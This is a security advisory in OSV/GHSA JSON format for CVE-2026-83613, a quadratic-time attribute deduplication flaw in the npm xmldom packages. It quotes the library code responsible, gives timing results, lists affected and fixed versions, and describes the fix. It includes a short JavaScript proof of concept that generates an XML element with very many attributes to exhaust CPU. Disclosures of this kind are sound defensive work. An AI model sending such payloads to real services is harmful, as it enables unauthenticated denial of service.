CVE-2026-83613: xmldom Quadratic-time Attribute Deduplication Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8344-3jmq-59r6",
  "modified" : "2026-09-08T21:01:31Z",
  "published" : "2026-09-08T21:01:31Z",
  "aliases" : [ "CVE-2026-83613" ],
  "summary" : "xmldom: Quadratic-time attribute deduplication",
  "details" : "## Summary\n\nxmldom builds the attribute collection of every parsed element by inserting attributes one at a\ntime into a DOM `NamedNodeMap`. Each insertion first performs a **linear scan of all\nalready-inserted attributes** to enforce the DOM uniqueness rule (no two attributes with the same\nqualified name / namespace+local-name). Parsing an element that carries `M` distinct attributes\ntherefore costs `1 + 2 + … + M = O(M²)` comparisons.\n\nBecause the trigger is simply \"one element with many attributes\", the attack payload is a\n**fully well-formed XML document**. No malformed markup, no error recovery, and no non-default\nparser options are involved — parsing completes silently with zero `warning`/`error`/`fatalError`\nevents. An attacker who can submit a modest, highly compressible document (a single element with\ntens of thousands of attributes, ~340 KB uncompressed) can consume seconds of single-threaded CPU\nper request, enabling an unauthenticated denial of service.\n\nThis is distinct from the known quadratic-**memory** namespace-map issue: it burns **CPU** and it\ndoes not require any namespace declarations or nesting.\n\n## Details\n\nThe DOM content handler adds each attribute of a starting element by calling\n`el.setAttributeNode(attr)` in a loop:\n\n```js\n// DOMHandler.startElement\nfor (var i = 0; i < len; i++) {\n\tvar namespaceURI = attrs.getURI(i);\n\tvar value = attrs.getValue(i);\n\tvar qName = attrs.getQName(i);\n\tvar attr = doc.createAttributeNS(namespaceURI, qName);\n\tattr.value = attr.nodeValue = value;\n\tel.setAttributeNode(attr);          // O(existing attrs) each — see below\n}\n```\n\nhttps://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom-parser.js#L370-L387\n\n`setAttributeNode` delegates to `NamedNodeMap.setNamedItem`, which calls `getNamedItemNS` to look\nfor an existing attribute with the same namespace URI and local name before appending:\n\n```js\nsetNamedItem: function (attr) {\n\tvar el = attr.ownerElement;\n\tif (el && el !== this._ownerElement) {\n\t\tthrow new DOMException(DOMException.INUSE_ATTRIBUTE_ERR);\n\t}\n\tvar oldAttr = this.getNamedItemNS(attr.namespaceURI, attr.localName);  // linear scan\n\tif (oldAttr === attr) {\n\t\treturn attr;\n\t}\n\t_addNamedNode(this._ownerElement, this, attr, oldAttr);\n\treturn oldAttr;\n},\n```\n\nhttps://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L612-L623\n\n`getNamedItemNS` walks the whole list on every call:\n\n```js\ngetNamedItemNS: function (namespaceURI, localName) {\n\tif (!namespaceURI) {\n\t\tnamespaceURI = null;\n\t}\n\tvar i = 0;\n\twhile (i < this.length) {\n\t\tvar node = this[i];\n\t\tif (node.localName === localName && node.namespaceURI === namespaceURI) {\n\t\t\treturn node;\n\t\t}\n\t\ti++;\n\t}\n\treturn null;\n},\n```\n\nhttps://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L702-L715\n\nFor the i-th attribute the scan visits `i-1` entries, so inserting `M` distinct attributes performs\n`Θ(M²)` comparisons. There is no hash index or set keyed by name; the map is a plain\narray-backed structure.\n\nThe same structure exists on 0.8.x. There `setNamedItem` dedups via\n`getNamedItem(attr.nodeName)` instead of `getNamedItemNS`, but that method is likewise a full linear\nscan, so the complexity is identical:\n\n- `startElement` loop / `setAttributeNode`:\n  https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom-parser.js#L159-L176\n- `setNamedItem` → linear `getNamedItem`:\n  https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom.js#L286-L308\n\nThe linear-scan `NamedNodeMap` predates the `@xmldom/xmldom` fork and is present unchanged in the\nunscoped `xmldom` package back to its earliest published release. In `xmldom@0.1.0`, parsing already\ninserts each attribute one at a time (`DOMHandler.startElement` loops calling\n`setAttributeNS` → `setAttributeNode` → `NamedNodeMap.setNamedItem`), and `setNamedItem` dedups by\ncalling `getNamedItemNS`, which is a full linear `while (i--)` scan of the already-inserted\nattributes — the identical `O(M²)` structure. The whole unscoped line (`0.1.0` … `0.6.0`) is\ntherefore affected; the earliest published tag (`0.1.0`) was verified to contain the per-insert\nlinear dedup scan.\n\n## Proof of Concept\n\nA single well-formed element with `M` distinct attributes. No malformed markup and no options:\n\n```js\n'use strict';\nvar DOMParser = require('@xmldom/xmldom').DOMParser;\n\nfunction buildDoc(m) {\n\tvar parts = new Array(m);\n\tfor (var i = 0; i < m; i++) parts[i] = 'a' + i + '=\"x\"';\n\treturn '<r ' + parts.join(' ') + '/>';   // <r a0=\"x\" a1=\"x\" ... a{M-1}=\"x\"/>\n}\n\nfor (var _i = 0, sizes = [2000, 4000, 8000, 16000, 32000]; _i < sizes.length; _i++) {\n\tvar m = sizes[_i];\n\tvar xml = buildDoc(m);\n\tvar t0 = process.hrtime.bigint();\n\tvar doc = new DOMParser().parseFromString(xml, 'text/xml');  // silent: no error events\n\tvar ms = Number(process.hrtime.bigint() - t0) / 1e6;\n\tconsole.log(m + ' attrs, ' + xml.length + ' bytes -> ' + ms.toFixed(1) + ' ms; parsed=' +\n\t\tdoc.documentElement.attributes.length);\n}\n```\n\nMeasured with Node.js v18.20.8 (wall-clock; absolute numbers vary by host, the **scaling** is the\nload-bearing fact):\n\n**`@xmldom/xmldom` 0.9.10:**\n\n| M (attributes) | input bytes | time (ms) | ratio vs prev |\n|---:|---:|---:|---:|\n| 2000  | 18,894  | 13.4   | —     |\n| 4000  | 38,894  | 38.7   | ×2.9  |\n| 8000  | 78,894  | 100.8  | ×2.6  |\n| 16000 | 164,894 | 406.2  | ×4.0  |\n| 32000 | 340,894 | 2149.5 | ×5.3  |\n\n**`@xmldom/xmldom` 0.8.13:**\n\n| M (attributes) | input bytes | time (ms) |\n|---:|---:|---:|\n| 2000  | 18,894  | 10.6   |\n| 4000  | 38,894  | 19.9   |\n| 8000  | 78,894  | 75.9   |\n| 16000 | 164,894 | 657.7  |\n| 32000 | 340,894 | 1643.2 |\n\n**`xmldom` (unscoped) 0.6.0:** 4000 → 28.2 ms, 8000 → 131.8 ms, 16000 → 545.2 ms (≈ ×4 per doubling).\n\nTime grows ≈ ×4 per doubling of `M` — quadratic. About **340 KB of well-formed input costs ~1.6–2.1 s\nof single-threaded CPU**, and it keeps scaling: doubling the attribute count quadruples the cost.\nThe document is trivially generated and compresses to a few kilobytes on the wire.\n\n## Impact\n\nUnauthenticated, remotely triggerable denial of service against any service that parses\nattacker-influenced XML/HTML with xmldom. A single request holds one event-loop thread for seconds;\na handful of concurrent requests can saturate CPU and stall the process. Because the payload is a\nplain well-formed document (one element, many attributes), it passes any \"must be well-formed\" gate\nand reaches the parser before any application-level validation (e.g. schema checks or signature\nverification) can run. The payload is highly compressible, so it is effective over compressed\ntransports.\n\n## Fix Applied\n\nReplaced the per-insert linear duplicate scan on the parse-time dedup path with a name-keyed\nindex, so de-duplicating an element's attributes during parse is O(M) instead of O(M²) — a\nwell-formed-but-hostile attribute list can no longer wedge the parse. Behavior-preserving: attribute\norder and duplicate resolution (last value wins, first position kept) are byte-identical. Non-breaking\nand independent of `requireWellFormed`; ships on both maintained versions.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@xmldom/xmldom"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.7.0"
      }, {
        "fixed" : "0.8.15"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.8.14"
    }
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@xmldom/xmldom"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.9.0"
      }, {
        "fixed" : "0.9.12"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.9.11"
    }
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "xmldom"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "0.6.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/xmldom/xmldom/security/advisories/GHSA-27p8-2357-5qqv"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/xmldom/xmldom/security/advisories/GHSA-8344-3jmq-59r6"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-83613"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/xmldom/xmldom/pull/1071"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/xmldom/xmldom/pull/1072"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/xmldom/xmldom/commit/2c548f200cfec991cd5846627ef8f03542309213"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/xmldom/xmldom/commit/cfb09b5dbeb035fdfedc9f01e2bbaf226bf47cf3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/xmldom/xmldom"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/xmldom/xmldom/releases/tag/0.8.15"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/xmldom/xmldom/releases/tag/0.9.12"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-407" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-08T21:01:31Z",
    "nvd_published_at" : "2026-09-01T15:17:39Z"
  }
}